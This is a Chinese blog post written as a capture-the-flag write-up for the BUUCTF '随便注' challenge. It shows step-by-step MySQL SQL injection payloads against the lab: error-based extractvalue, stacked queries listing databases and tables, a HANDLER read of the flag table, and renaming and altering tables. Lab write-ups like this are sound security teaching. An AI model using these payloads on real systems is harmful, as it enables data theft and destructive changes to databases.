buu web:随便注(MySQL堆叠注入)

打开靶场,发现是一个查询框

输入1' ,报错,说明存在sql注入漏洞

二分法order by 查字段

1' order by 2;# 正常;

1' order by 3;# 报错;

得出字段数为2

联合查询-1' union select 1,2;#,发现有过滤

联合查询估计是不行了

既然有报错,那我们就试一下报错注入1' and extractvalue(1, concat(0x7e,database(),0x7e))#

 

成功爆出当前数据库supersqli,但是后面的注入不可避免的要用到select,所以只能pass了

接下来试一下堆叠注入1';show databases;#

成功列出数据库,貌似可行,我们继续1';show tables;# 

 

爆出当前数据库的两张表,分别看一下里面有什么

1';show columns from `1919810931114514`;#(注意:列表名为数字时要用反引号括起来(看别人的wp))

 1';show columns from words;#

 很明显,flag在数字表里,但是怎么搞出来呢?不会,只能又跑去看一下别人的wp,大佬们各种各样的方法令我直呼牛*,下面介绍一下两种目前笔者看得懂的方法

1.利用handler语句

 原理解释:        

        HANDLER语句使我们能够一行一行的浏览一个表中的数据,handler 语句并不具备 select 语句的所有功能,它是 MySQL 专用的语句,并没有包含到SQL标准中。

 语法:

        打开句柄:handler handler_table open;       

        查看数据:handler handler_table read first/next/prev/last;

        关闭句柄:handler handler_table close;

payload:1';handler `1919810931114514` open;handler `1919810931114514` read first;#

成功

2.利用重命名的方法,使查询框查询数字表里的flag信息

        因为当前数据库下只有两张表,所以我们不难判断出查询语句大概是这样select id,data from words where id=,所以我们的思路就是将words表换成其他表,再将数字表换成words表,新 words 表添加新的列名 id 默认值为1,将 flag 改名为 data 

payload:1';rename table words to word1;rename table `1919810931114514` to words;alter table words add id int(10) default 1;alter table words change flag data varchar(100);#

然后-1';show tables;show columns from words;#看一下有没有成功

没问题,直接输入1,拿到flag

(蒸滴骚) 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值